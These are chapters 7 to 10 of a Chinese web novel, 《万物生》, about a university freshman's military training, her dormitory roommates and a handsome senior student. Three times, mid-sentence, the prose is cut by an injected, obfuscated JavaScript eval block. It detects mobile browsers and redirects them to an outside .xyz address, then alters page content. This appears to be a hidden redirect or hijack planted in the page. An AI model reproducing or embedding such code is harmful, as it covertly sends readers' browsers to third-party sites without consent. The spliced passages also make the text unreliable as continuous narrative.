《万物生》 7. 第 7 章 辅导员上午就在班群里发布通知,下午两点钟还在崇德楼1205教室集合见教官,务必要准时。 路琼她们仨中午吃完饭回宿舍休息一会儿,一点半路琼挨个去敲他们班几个女生宿舍的门,提醒她们别迟到。 再折回自己寝室,麦青收拾完毕,唐慕芮在涂防晒。 时间还有富余,路琼就没催她,和麦青靠在门口等她。 知道有人在等自己,唐慕芮怪不好意思,加快速度,还问路琼一嘴:“路琼你涂防晒了吗?” “没。”路琼从没用过那种东西,防晒霜是她所处世界以外的存在物。 “你怎么不涂防晒啊?”唐慕芮震惊的像是听到什么天方夜谭,顾不得自己还剩一半的脖子,一个箭步冲到路琼跟前,挤出一坨防晒就要抹在她脸上。 路琼脑袋后仰:“我不用。” 唐慕芮把她扯回来,平常娇娇小小,此时力气还挺大,不由分说将防晒霜点在她脸颊、额头:“你不用什么不用,外面太阳这么大等到时候向左转向右转有帽子都不管用。” 路琼就没再动弹,随唐慕芮摆弄。 肉眼看着还好,只是有些黑,唐慕芮这一上手摸,才发现路琼是真的不爱护自己:“我天呐路琼!你怎么能糙成这样? 她絮絮叨叨的:“你平时都不用护肤品的吗?女孩子皮肤最嫩了,你这么暴殄天物对得起你这张脸吗?真是浪费!” 村里有不少人都夸过路琼长得好,每到这个时候,小老太太都会以一副不屑的模样贬斥她,说:你不要因为别人夸你就忘了自己是谁,好看有什么用,长相是最一无是处的东西,如果没有一技之长,光长得好看就只会惹祸。 路琼当然不会忘记自己是谁。 她就是一个亲爸不详,亲妈不疼又不爱的穷倒霉蛋。 她只是诧异于小老太太还能说出这么有文化的话来。 后来她就反应过来,有她妈那么个活生生的例子在前,小老太太多少能总结出一些经验教训来教育她。 为她那张脸,小老太太可谓是煞费苦心,经常让她顶着烈日去干活,风吹日晒,她越糙小老太太就越满意。 来京北前,小老太太耳提面命她不许学大城市那些丫头打扮的花枝招展,心思都放在学习上。 可她来上学后又不用再干活,迟早会把皮肤养白养嫩,回去后小老太太指不定又要怎么骂她。 路琼也不怕,小老太太骂,她就左耳进右耳出,这么多年她早就百毒不侵了。 唐慕芮无比细致,只要路琼露在外面的皮肤都给涂上防晒霜。 倚着门框玩手机的麦青适时说:“快到集合时间了。” 唐慕芮连哦几声,搞定路琼,挤出最后一坨抹在自己半边脖子上,手一扬,防晒霜扔向桌子,闪出门外。 麦青也侧身出去。 路琼断后,确定带好钥匙锁上门,到唐慕芮身边:“谢谢。” “这有什么。”唐慕芮满不在乎:“我妈说了,我们要在一起住四年,就是一家人,一家人不需要说谢谢。” 她故作严肃,指着俩人:“以后你们谁都不许跟我说谢谢,不然我翻脸。” 麦青双手插兜,斜眼扫她:“你翻脸也没人害怕。” 唐慕芮听懂她的言外之意,抓住路琼胳膊告状:“路琼你看她,她欺负我!” 都是舍友,路琼不好偏颇,但谁让她刚受到唐慕芮的照顾,而且唐慕芮无论是个子还是生日都是她们宿舍最小,理应受到优待。 路琼低头翻点名表,顺着唐慕芮的意思帮她撑腰:“麦青。” 没说别的,就淡淡叫一声麦青名字。 麦青就一笑,收敛了。 到教室后麦青唐慕芮找地方坐,路琼站讲台上数人数点名,没多久辅导员领着教官过来。 教官就提了下他名字,重点在强调他的要求,说话前后超不过两分钟,然后让他们进行半小时坐姿训练。 教官是真严格。 学生时代总是有那么几个调皮捣蛋的男生,坐最后一排,和教官嬉皮笑脸,结果就是被狠批一顿。 半小时刷刷手机很快就过去,但挺直腰板干坐就很难熬,好不容易得到解放,就被轰去操场,正式开始军训。 整个崇德楼都是大一新生,人群稀稀拉拉朝着京大最大的主操场走,清一色迷彩服,有男生摘下帽子往空中抛,再跳起来接住,女生们三两一组,手挽着手。 午后炽热的阳光洒在他们每一个人身上,金灿夺目,作为迎接他们步入大学、开启人生新篇章的第一份贺礼。 主操场西侧是体育馆,每一层楼体侧边都有个露台,三楼露台处几个男生倚着栏杆在抽烟,聊着天瞅着下面一片片的绿油油。 墙壁适中位置有个巴掌大的铁盒,方便来这抽烟的人弹烟灰。 魏锦航磕着烟,眼睛在底下学弟学妹脸上搜寻,借着高处,他能看得多些:“这届新生质量也就正常值吧,没咱这届牛逼。” 程桉抬手一指坐在他们斜前方通往四楼台阶上的陆明霁,说:“你当哪届都能出他这么一个花魁?” 被点名的陆明霁毫无反应,懒得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14384107|153235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理他们。 “花魁”是京大活跃在论坛微博上的学子们给陆明霁冠上的称号,陆明霁拒不接受,魏锦航他们可不管,时不时就挂在嘴边调侃他。 虽然陆明霁凭一己之力拉高京大15级学生们的颜值水平,但是抛除他,他们那一届无论男女,能拿出手的人真不少,几乎每个学院都有那么几个门面担当。 别的暂且不提,就说计院,现在站露台抽烟的这几人都长挺帅,类型还不同,一改众人心中对理工男不修边幅、沉闷无趣的刻板印象。 前段时间陆明霁他们仨去参加比赛,比他们能力更令人注目的是他们的长相。 有几个新生注意到露台上的几人,拉拽同伴袖子告知楼上有帅哥,再一起抬头看,魏锦航趴在栏杆上,笑着冲她们挥手:“学妹好!” 他这一嗓子吸引更多人看过去,程桉几人嬉皮笑脸地逗着学妹们。 “哪个学院的啊学妹?” “学妹加个微信吗?” “学妹渴不渴,学长一会儿给你送奶茶去啊!” 几个男生耍起流氓来简直是本色出演。 陆明霁就独树一帜地坐在台阶上,跟他们划清界限,免得被他们传染傻气。 爷爷发来微信问他中秋回不回家,他回个不一定,爷爷一个OK过来,爷孙俩短暂的聊天结束。 魏锦航他们闹腾的厉害,陆明霁收起手机,也透过楼梯扶手缝隙,百无聊赖地瞧着楼下新生。 都一样的打扮,远看连身高都差不多,帽子遮住大半张脸,着实没什么看点。 一阵热风恰到好处掀起,吹跑一女生的帽子,军绿色帽子在半空中划出半弧,她条件反射转身,女生皮肤黑,眼睛亮。 低扎的马尾随之甩到身前,太阳照得她微眯起眼,她抬起手挡在额头,另一只手勾住颊边碎发别到耳后,小跑着去追帽子,抓起落地的帽子又跑回同伴身旁。 她同伴好像在自己头上摘下了什么东西给她。 没兴趣再观察,陆明霁站起来,迈下台阶,打断那几人的发骚:“还打不打了?” 还没正式上课,他们都懒散着,一觉睡到中午起来,吃个午饭在群里约着打打球,晚上去撸串,这会儿是中场休息。 魏锦航他们看也看了逗也逗了,回去接着打球。 楼下路琼重新戴好帽子,回头看。 唐慕芮也跟着扭脖子:“还有什么东西掉了吗?” 路琼摇头:“没。” 她就是感觉,好像有人在看她。 不过她没找到具体是谁。 8. 第 8 章 军训第一天的内容还算轻松,就站站军姿,但是对于长年久坐教室,又在高考后彻底放松过两个月的新生们来说,光是站着就足够受折磨,更别提还有挺胸抬头手指紧贴裤缝之类的严格要求。 再加上被太阳晒一下午,解散后他们一个个就像霜打的茄子,蔫头巴脑,半点不见刚进操场时的蓬勃激情。 回宿舍的路上,唐慕芮化身成一只不能独立行走的考拉,一会儿扒着路琼胳膊一会儿靠着麦青,麦青说过两次让她好好走路,被她充耳不闻的忽略,便随她去。 大批队伍不约而同向着食堂前进,远远一眺就足以预见各个食堂内部会是怎样的腥风血雨。 唐慕芮宁可饿死也不想去凑热闹被挤死,她站在中间,一手挽着一个,脑袋左摇右摆:“我那有泡面我们回去凑合一下吧,去食堂估计也抢不到饭。” 是这个道理,军训过的新生一个个都像是饿死鬼投胎,战斗力能灭绝一切。 三人一拍即合,回了寝室。 唐慕芮那里说是个小型商店都不为过,如果突然有一天闹饥荒,她的存粮甚至能足够她们宿舍四人一个礼拜顿顿吃饱饭。 打开她自己添置的矮柜,唐慕芮嘚瑟地拍一下柜体,大方说:“想吃什么自己拿,随便拿!” 很不想拂她好意,实在是没有太大胃口,路琼和麦青就一人拿走一桶泡面完事。 面泡好,才用叉子挑了两三口,就听见一声声连续不断仿佛防空警报的响声。 三人面面相觑,动作出奇一致,都一手托着面桶一手捏着叉子,嘴里挂着泡面条。 等楼道里传来阵阵匆忙的脚步声,路琼反应过来,放下泡面:“走,应该是临时集合。” “要死吧,饭都不让人吃完!”唐慕芮心疼死那桶还没品尝满足的泡面,戴着帽子不情不愿出门。 才清净没多久的操场霎时间又人满为患,队形懒懒散散,每个人脸上都呈现着不同程度的慌乱、不满。 嗡—— 话筒音量过大产生的噪音,作为一种提示,使躁动的人群逐渐安静下来。 “都站好了!”总教官立在主席台上,神态到声音都充满着严厉:“看看你们一个个的像什么样子!” 不出意外的一顿迎头痛批,晚饭是谁都别再惦记,接下来是一动不动地站了将近俩小时军姿,结束时所有人连辱骂教官的力气都没有。 拖着沉重的步伐再回寝室,一打开门,先闻到一股略浓的果香香水味。 学校统一给每个宿舍配备的木头椅子,谷蕴柠给换成看着就舒服的躺椅,她穿着丝质睡衣,长发挽起,戴着一个发箍,脸上敷着面膜。 听到动静,没回头,还在刷手机,声音在牙缝里挤出来:“下次在宿舍吃泡面这种重口味的东西我拜托你们及时丢掉开窗通风,我一回来那味道冲的以为是进了哪个垃圾站,都这么大人了还要别人给你们收拾烂摊子。” 路琼说好。 麦青没理她。 唐慕芮一人爆发:“你不军训不知道苦和累,我们饭都没吃完就被叫走了哪有空收拾,就你大小姐金贵,味道都闻不得!” 谷蕴柠皱眉:“你口水喷我胳膊上了!” 唐慕芮被她提供新思路,抿起嘴对着她连呸三下。 谷蕴柠要疯,手机扔桌上蹭一下站起来。 原本她坐着比唐慕芮矮,唐慕芮还有点气势,现下被碾压,谷蕴柠还没怎么样,她疲惫一天情绪到达峰值,嘴巴一扁就开始哭:“我太惨了!饭吃不饱,累死累活回宿舍还要被人骂!” 路琼看过去一眼,见唐慕芮干打雷不下雨,心放下,给麦青对个眼神,俩人就各忙各的,谁都没去管。 谷蕴柠一脸懵,被唐慕芮这一招打得措手不及,眼看唐慕芮嘴巴越嚎越大,恨不得生吞她,她赶忙喊停,把自己桌上打包回来的那一堆吃食塞给她:“给你给你!不就没吃饭吗看你那点出息,都给你吃!” 唐慕芮仰天长哭的脑袋垂回到正常位置,抽抽嗒嗒扒拉着怀里的塑料袋:“这什么?” “不知道。” “那你还买?” “别人送的!” 唐慕芮打开摞在最上面的塑料盒,是一盒精致小点心,她咬一口,问:“谁啊?追你的?” “你管那么多,吃你的。”谷蕴柠看到唐慕芮嘴边扑簌簌掉下来的碎渣,又要炸:“唐慕芮你要敢把渣掉我椅子上我掐死你!” 吃人嘴短,唐慕芮不再闹腾,抱着吃食转身去找路琼和麦青:“路路麦麦快来吃,我试过了,没毒。” 谷蕴柠一个大白眼翻上去,她就不该心软,饿死唐慕芮拉倒! 后面几天都是枯燥乏味又疲累的训练,从站军姿慢慢增加项目,路琼她们三个无精打采,谷蕴柠荣光满面,对比极其鲜明。 每晚唐慕芮回宿舍后都会阴阳怪气,然后唐慕芮就会给她一大包吃的堵她嘴,有时候是蛋糕甜品有时候是烤串。 为期半个月的军训过去一大半,某天唐慕芮突然醒悟过来,质问谷蕴柠:“你是不是又把我当猪了?” 她嘴边一圈油渍,离她两米远的谷蕴柠又后退几步拉开距离,生怕沾到什么脏东西:“你不本来就是吗?” 唐慕芮气呼呼,谷蕴柠又后退一步,伸手做Stop的手势:“吃你的,别靠近我。” 唐慕芮嘁一声,嘟囔着“谁稀罕”,埋头撸串。 宿舍里开着空调,冷风打到十六度,唐慕芮回来调的温度,她热得要死谷蕴柠冷得要死,最后争执不下唐慕芮又要拿出她的杀手锏,谷蕴柠烦透她,不得已妥协。 她拢着披肩,走到路琼那儿:“明天我要去军训,你们起床记得叫我。” 路琼在写入.党申请书,撂笔抬头,面露疑惑。 麦青洗完澡在浴室里出来恰好听到这句话,擦着头发也睇向谷蕴柠。 唐慕芮张口就问:“地球要灭亡啦你居然会去军训?” “关你什么事,吃你的。”谷蕴柠啧声甩唐慕芮一句,又扭回来跟路琼强调:“记得叫我。” 路琼就没再问:“好。” 谷蕴柠去参加军训这个消息带来的轰炸力对于605宿舍来说不亚于火星撞地球,但她不说,其他三人也无从得知。 不过等到第二天,路琼就搞懂了原因。 大一每个班在军训期间除了辅导员,还会配备一名助教,助教一般都是大二的学长学姐担任,路琼早上收到助教消息,说他今天临时有急事,找了朋友来替他一天,并且把他朋友的微信推过来,让路琼联系他朋友。 路琼添加好友,担心对方不清楚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14384108|153235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来源不通过,她特意备注是2016级人文科学试验班(1)班长路琼。 班级、职位、名字都交代得一清二楚,可直到他们去操场集合,路琼的好友申请都没有通过。 临出门前,路琼又添加了一遍好友,到操场还是没得到通过,她就直接打过去电话。 听筒里是嘟嘟的忙音声,从六楼下至一楼,期间电话还被挂断一次,在出宿舍楼的那一刻终于接通。 对面沉默。 学长说他都有安排好,他本人很靠谱,路琼先入为主以为他朋友也会很靠谱,压根没想过此时此刻学长找来代他工作的替身正在床上睡觉,她的电话扰了对方清梦。 接通后自报家门:“学长你好,我是2016级人文科学试验班(1)班长路琼,我加你微信你可能没看到,所以我才打了电话,郭学长说今天你替他来带我们班,我们班队伍在靠近操场东门最边上,入口左手边第一个班就是。” 对面还是沉默。 路琼以为电话掉线,手机从耳边拿下,屏幕亮起,正常显示着通话界面。 她试探:“学长?” 自始至终没有半点声响的另一端,终于给出窸窸窣窣的回应,继而是一道干净的男声,像是冬日山间的涔涔泉水:“知道了。” 嘟—— 对方挂断。 路琼揣起手机,回头催慢慢悠悠的谷蕴柠:“你快点,要迟到了。” 军训过半,第一二三天还能坚持全妆上阵的女生们,到现在大多都只抹个防晒就出门,谷蕴柠还没接受过搓磨,全妆出席。 大小姐方方面面都是大小姐,霸道蛮横,她化妆的时候不允许她们先走,必须要等她。 不是她们对大小姐俯首称臣,实在是大小姐每晚带回来的夜宵色香味俱全,唐慕芮第一晚就败北,淡定如路琼高冷如麦青,也在一周过后阵亡。 吃人嘴软,等等就等等。 但是该催也得催。 谷蕴柠嘴上应和着,步伐不变,唐慕芮看得着急,上手拽着她加快速度,谷蕴柠让她松开,唐慕芮装聋。 磨磨蹭蹭到集合地点,教官一声哨响,所有人都应激反应,手臂绷直贴近身体,挺胸抬头站好队形。 助教不一定要时刻都在,只是没课的时候必须跟班。 半小时军姿是每天训练雷打不动的开场第一项,还有十分钟结束时,陆明霁出现在操场东门。 操场地势凹,陆明霁站在入口的台阶上,黑T恤水洗牛仔裤,个高身型瘦,慢条斯理迈下来,一手拿手机,一手拎着瓶水,黑发随风飘动,晨光照得他微眯眼,眉心微拢,显得人不怎么耐烦。 一水迷彩服里随便出现什么颜色都与众不用,他又地处高位,轻易就汇聚他人目光。 军训队伍是按照身高排列,唐慕芮独自一人在矮个子阵营,路琼、谷蕴柠和麦青她们仨站一起。 在路琼发现陆明霁的同一秒钟,她余光留意到谷蕴柠不顾教官不能乱动的要求,小心翼翼拨弄着她的八字刘海。 路琼破天荒在训练期间说悄悄话:“你喜欢他?” 谷蕴柠不假思索:“当然,我们可是青梅竹马。” 路琼浅笑一下,谷蕴柠莫名其妙,问她笑什么。 路琼还是小声音:“我也喜欢。” 9. 第 9 章 谷蕴柠瞬间瞪大眼,更是顾不上什么规定,怒视着路琼:“你说什么你再说一遍?” 她声音愈来愈大,幸好教官在队伍另一端尽头,暂且没听见,但也吸引前后排同学的张望。 路琼等前排男生转回去八卦的脑袋后,风轻云淡又真诚地回答:“他长得好看,我才喜欢。” 稍稍侧脸,给谷蕴柠一个眼神:“你长得好看,我也喜欢。” “……” 谷蕴柠忽然语塞,不知道要说什么,满脸气冲冲的质问也一停。 那边陆明霁走向教官,周围人群小小骚乱片刻,被教官一嗓子阵住,俩人一起往路琼这边走,最后停在她面前。 教官和路琼打过几天交道,已经认识她,还充当起引荐角色,陆明霁和路琼谁都没打断,装作从未见过的样子,等教官说完,路琼主动伸出手。 “学长你好,今天就麻烦你了。” 陆明霁漫不经心的眼睛从路琼脸转移到她手,他记性好,不过也不是什么都值得他存于他金贵的脑子里,可看到路琼悬在半空意在示好的手,他鬼使神差想到新生报到第一天,路琼递给他湿巾的模样。 粗糙、沟壑纵横、青筋凸起,完全找不到任何一点属于女性的柔美。 至少陆明霁身边的女人,像他妈、谷蕴柠,甚至家里阿姨的手都要比路琼的细腻。 再次见到,还是老样子。 陆明霁心里那个疑问又冒出来:怎么会有女孩子的手是这样子的? 他神游天外的这几秒钟,路琼胳膊一直没放下,旁边围观众人开始窃窃私语,有几个知道点消息的都觉得路琼会热脸贴冷屁股,毕竟陆明霁是个眼高于喜马拉雅山顶的人。 做好准备看路琼下不来台的人越来越多,他们对路琼没有什么恶意,刚开学几天班上人可能只记得自己宿舍的成员,其他乱七八糟的情绪还要等时间再长些,交流再深入些才会产生。 他们只是单纯想看热闹,但往往是这种自认不抱恶意的想法最伤人。 谷蕴柠脖子探长,死死盯着路琼的手,皱眉。 又低头看看自己的手。 路琼波澜不惊,就那么等着陆明霁,他好像对自己的手很感兴趣,第一次见面时他就盯着她手看半晌。 路琼小时候有个玩伴,叫王真真,说是玩伴也不准确,毕竟她俩每次见面非吵即骂,小老太太和王真真奶奶的关系也不太友好。 王真真比她大一岁,家里重男轻女,初中就辍学不上,外出打工给她弟弟赚娶媳妇的钱。 路琼高三那年,王真真开着豪车回村,还带着一个肥头大耳的男人一起,村里那些爱嚼舌根的长舌妇们一边聚众嘀咕王真真不要脸傍大款,一边又在背地里悄悄羡慕她手上的大金戒指。 王真真只回村半天,给家里送回很多东西,扬眉吐气一般享受着家里人的谄媚奉承,临走时她找到路琼,说过什么乱七八糟的内容路琼早就记不清,现在耳边却回响起王真真的一句话—— “手就是女人的第二张脸,你看我现在什么活都不用干,手养得多嫩。” 路琼无意识勾动一下手指,陆明霁的思绪被勾回来,递出左手握住她。 嗓音淡:“你好。” 握一下俩人就不约而同松开,路琼指腹和掌心的茧子蹭到陆明霁。 有点痒。 矿泉水瓶从右手换到左手,陆明霁若无其事地让教官继续训练,他退到树荫底下看着。 有他这么个干扰信号在,女生们的心思更加不在枯燥乏味的训练上,人站在原地,眼睛却时不时往陆明霁那里瞄。 大多数人只是敢偷偷看一两眼,怕被教官发现怕被陆明霁本人发现,但这个大多数人不包括谷蕴柠。 陆明霁在树荫底下找到个干净地方坐下不到五分钟,谷蕴柠就迫不及待打报告,捂着肚子气若游丝地说自己身体不舒服。 教官知道有谷蕴柠这么一个学生从军训第一天就请假,今天是第一次见到本人还以为病好了,结果没练多久又嚷嚷着请假,教官虽然不喜欢,但也怕出事,松口叫她去一旁休息。 得到批准,谷蕴柠直奔陆明霁那儿,挨着他坐下:“昨天听韩泽说你今天要来看我们班军训还以为是假的呢。” 韩泽就是人文(1)班的助教,跟陆明霁是发小,他们那一圈从小玩到大的朋友,就陆明霁和他正儿八经在国内读完高中又参加高考,凭本事考进京大,其他人要么高考完就出国留学镀金,要么就更早,小学初中就被有先见之明的爹妈们送出去。 陆明霁是脑子里真有料,又不太喜欢在国外生活,偶尔去玩玩还行,就从未考虑过留学。 韩泽则是在高中就凭脸谈到个成绩牛逼又上进的女朋友,为了不和女朋友异国恋且给女朋友树立一个他很靠谱的形象,他高中最后一年半用头悬梁锥刺股来形容都丝毫不夸张。 韩泽女朋友在隔壁政法大学读大二,今天是他和女朋友约会的日子,为能陪女朋友,昨天求陆明霁半天才磨得他同意帮这个忙。 谷蕴柠军训前就准备好假条这事陆明霁知道,之前一起吃饭的时候她说过,现在说话声音正常,一看肚子疼就是装的,陆明霁就没搭理她,敛眸看手机。 谷蕴柠不在意他的冷漠,在她决定表白时就预料到如今这种局面,但她还是选择袒露心声,她从来就不是一个畏手畏脚的人。 陆明霁不理她,她就找话题自顾自输出。 谷蕴柠也是陆明霁他们发小圈里的,他们几家都有生意、人情上的往来,一群人都从小一起长大,作为发小圈里唯一的女生,谷蕴柠是被所有人宠着的。 即便是陆明霁,仿佛从出生起就自带一种谁都瞧不上天下他最牛逼的优越感,对谷蕴柠也是好的没话说。 这份好,与发小圈其他人一般无二,不特殊不越界。 仅仅是把她当成妹妹。 不知道从什么时候起,谷蕴柠对他产生出超乎他人的感情,察觉到的那一刻,陆明霁就在有意拉开彼此距离。 高二那年谷蕴柠向他表白,他直言拒绝,可谷蕴柠并不在乎,依旧我行我素的追逐他。 陆明霁试图跟她分析,她只是将对他的依赖和喜欢混淆,并不是真的动心。 谷蕴柠全然当成他的推辞,说她不是她本人他不懂,听不进去。 陆明霁就不再多费口舌,冷处理,用行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14384109|153235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动断她念想。 他去年来京北上学,只在过年回过沪市,以为一年不见谷蕴柠的小孩心性会有所改变,然而谷蕴柠今年也来了京大。 按照她家里的原定安排,她该去新西兰读书。 京大当然不是她考进来的,谷蕴柠几斤几两陆明霁清楚。 处理完魏锦航在群里问的程序问题,切到消息列表,一条新消息弹出。 来自彭靖驰:【干什么呢?】 陆明霁懒得拐弯抹角,直说:【谷蕴柠在军训,没看手机。】 彭靖驰:【她不是病假?】 陆明霁也不藏着掖着:【韩泽去约会了,我替他当天助教。】 彭靖驰:【你都大二了,还不谈个恋爱?】 陆明霁怼他:【有空在这儿催我,不如早点修完学分回来亲自看着人。】 彭靖驰:【有道理[大拇指jpg.]】 彭靖驰:【让她回去回我消息。】 陆明霁就没再回复,退出微信界面,点开前两天下载还有新鲜劲的编程游戏,打断谷蕴柠抱怨她舍友们有多奇葩的絮絮叨叨,转述彭靖驰的嘱托:“彭靖驰让你记得回他消息。” 谷蕴柠问:“什么消息?” 陆明霁怎么知道,彭靖驰又没告诉他:“你自己看。” 谷蕴柠就在兜里拿出手机,彭靖驰一个小时前问她想要什么生日礼物,说是她十八周岁的生日,礼物价格没上限,随便挑。 谷蕴柠立刻将其他事情抛诸脑后,去罗列自己想要的礼物清单,准备好好宰彭靖驰一顿。 耳边终于安静下来,陆明霁玩了会儿游戏,抬头往远处眺,歇歇眼睛。 沉浸在自己世界里时对周围情况的感知可能会迟钝,跳离出来后,陆明霁察觉到有道视线直白地钉在自己身上。 顺着寻过去,是一双雾一样朦胧的眼睛。 相识最初的这个时候,陆明霁就觉得路琼有一双复杂的眼睛,令他看不真切。 后来陆明霁在这双眼中窥探出精明、算计、野心,也有过天真和温柔,唯独没有他。 对于别人看自己这件事,陆明霁接受良好,毕竟他长得帅,关于长相,他自我认知清晰。 但是路琼和其他女生的不同在于,被正主发现,她第一反应不是慌里慌张地转移视线,而是继续她的打量。 就好像,陆明霁不是一个人。 而是一个可供观赏的物件。 意识到这一点,陆明霁不悦拧眉。 就在这时,路琼倏然一笑,眼眸微弯,唇角清清浅浅挑起,似是感知到陆明霁误会后的情绪,带着点安抚意味。 这种笑容,陆明霁去幼儿园接他四岁的小外甥时,在幼儿园老师脸上看到过同款。 什么意思? 把他当成无理取闹的四岁小屁孩了? 陆明霁眉头褶皱更深,路琼笑意加重,洒落给陆明霁的那片阳光同样照耀给路琼,他垂在膝盖的手握着手机,一点点倾斜,反射到阳光,晃到他。 这场莫名的对峙中陆明霁率先撇开眼。 路琼嘴角的笑爬进眼里。 陆明霁不光漂亮,还挺可爱。 10. 第 10 章 又是一个上午的训练结束,或许是□□练的适应能力提高,或许是离胜利曙光越来越近,飘荡在操场上空的怨声载道减少许多。 谷蕴柠这一不舒服就是休息整个上午,坐在陆明霁旁边悠哉悠哉地玩手机,时不时跟陆明霁说两句废话,陆明霁都没理。 教官宣布解散后,谷蕴柠就同陆明霁一起站起来,胳膊自发去圈他,陆明霁提前预判,双臂环起不给谷蕴柠机会,谷蕴柠气得跺两下脚,陆明霁不管她,径直往前走,谷蕴柠又不死心地追上去。 “我靠这俩人终于走了,我这一上午的视觉暴击终于能消停一会儿了。” “老天对我真的很不公平,有人美美和自己男友约会撒狗粮有人顶着烈日汗流浃背累成狗!” “这个谷蕴柠是第一天来军训吧?为了她男朋友。” “那肯定是啊,之前韩学长在的时候从没看到过她,今天助教换人后她立马出现,还不够说明问题吗?” “怎么我人还没认全人家就已经谈上恋爱了!” 同学们的议论层出不穷,或清晰或模糊地钻进听者耳中。 唐慕芮二人转转手绢那样转着军训帽:“我就说她想不开要来吃苦,原来是别有所图。” 她嘴巴在讲话,眼睛看着指尖的帽子,斜前方几个男生推搡打闹,其中一个猛一后撤,唐慕芮还没意识到,路琼伸手去拽她,麦青速度更快,勾着唐慕芮肩膀把人带到自己身前。 唐慕芮状况之外的“诶诶诶”三声,男生以为自己撞到了人,忙回头道歉,麦青说没事,低头提醒唐慕芮看路。 唐慕芮顺势挽上她臂弯,满脸无所谓:“有你和路琼看就好啦。” 路琼听不见,麦青不接茬,都摆出一副不会管她的样子,但实际并非如此。 唐慕芮绕回上一个话题:“我要是有个这么帅的男朋友陪着我军训,我也不至于这么天天像被吸干精气了一样。” 路琼纠正她:“他们不是情侣。” “你怎么知道?”唐慕芮有双重震惊,一是遇到八卦路琼只听不说,二是她太过肯定的语气。 路琼实话实说:“谷蕴柠自己说的。” 开学半个多月,足够路琼摸清楚宿舍里每一个人的脾气秉性,尤其是谷蕴柠唐慕芮这种有什么情绪都会摆在脸上的人,就更好了解。 如果真是男女朋友,在她问谷蕴柠是不是喜欢陆明霁的时候,照大小姐的高调劲儿,应该是说:当然,我男朋友我怎么会不喜欢。 可谷蕴柠没有。 所谓“青梅竹马”应该只是单纯形容认识时间的长短。 这是路琼观察后得出的唯一结论。 “原来不是?”唐慕芮碎碎念:“他们看起来还蛮般配的,在外貌上。” 路琼声音轻到接近虚无:“是吗。” 麦青侧过脸看路琼一眼。 京大食堂十来个,味道都不错,一改众人心中“学校食堂只是用来勉强维持生命体征而已”的刻板印象。 不过由于军训太累,时间就是金钱这一概念在这期间疯狂刷新含金量,路琼她们每次吃饭都就近选择。 各自打包好自己想吃的饭菜带回寝室,吃完饭三人统一爬上床午休,宿舍门没有在里面反锁,给谷蕴柠留着。 路琼一点四十分的闹钟响后,三人困顿睁眼,谷蕴柠的床铺空荡荡。 收拾好后要出门,谷蕴柠才在外面回来,推门进来就告知路琼她下午不要去军训了。 唐慕芮积极提问:“为什么?” 麦青见时间还来得及,摸出根烟去阳台抽,带动窗帘掀起一角,小小一束阳光就登时照亮昏暗的室内。 谷蕴柠借机一指:“这么大的太阳我是不要命了吗?” 唐慕芮阴阳她:“不是有帅哥陪你,这还不够成为你的动力吗?” 谷蕴柠在照镜子,左右转动着脸检查有无晒黑:“和男人相比还是我的脸更重要。” 隔壁寝室一女生过来找唐慕芮帮她编头发,唐慕芮小跑着出去。 路琼在卫生间洗完脸,彻底清醒,谷蕴柠怕她没听见,在她出来后又重复一遍自己不去军训的事情。 路琼把毛巾挂在床边的衣架上:“喜欢他还没动力吗?” 谷蕴柠两只手轻轻揉搓着脸蛋用卸妆油卸妆,边朝卫生间走边说:“你懂什么,再喜欢一个人也不能超过喜欢自己。” 这句话蛮有道理,路琼挺赞同。 人这一生就是一场永无止境的投资,无论投给谁都有一定失败的风险,唯独投给自己,怎么样都会有所回报。 路琼这么想着,谷蕴柠又嗖一下从卫生间里探出脑袋,洗到一半的脸啪嗒啪嗒滴着水:“我警告你啊,你不准打陆明霁的主意!” “说不准。”路琼捏着手机抵在桌面上,轻笑:“毕竟他长得好看。” 谷蕴柠瞪大眼,水混合着乳化后的卸妆油流进眼睛,她酸得下意识紧闭起来,缩回卫生间冲洗。 麦青抽完烟,招呼路琼走,谷蕴柠听后加快速却还是没抓到路琼,感受一下自己好不容易变清爽的脸蛋,又想想外面的炎炎烈日,谷蕴柠最终还是放弃再去军训的念头。 气急败坏地踹一脚路琼的椅子。 等晚上她回来再找她算账! …… 大一新生开始军训后,老生们也开始上课,大一课程安排紧锣密鼓,到大二就有所缓解,这一整天陆明霁他们班都没课,正好救韩泽于水火。 陆明霁一个一向怕麻烦的矫情逼第一次当助教,魏锦航他们挺稀奇,陆明霁搞不懂他们稀奇的点在哪儿,不过他懂不懂不重要,都不影响魏锦航他们一觉睡到下午,起床后来围观担任助教的他。 陆明霁所在地很好找,魏锦航一进操场就锁定他,抱着篮球过去,在距离他两三步时耍帅的把篮球抛向他。 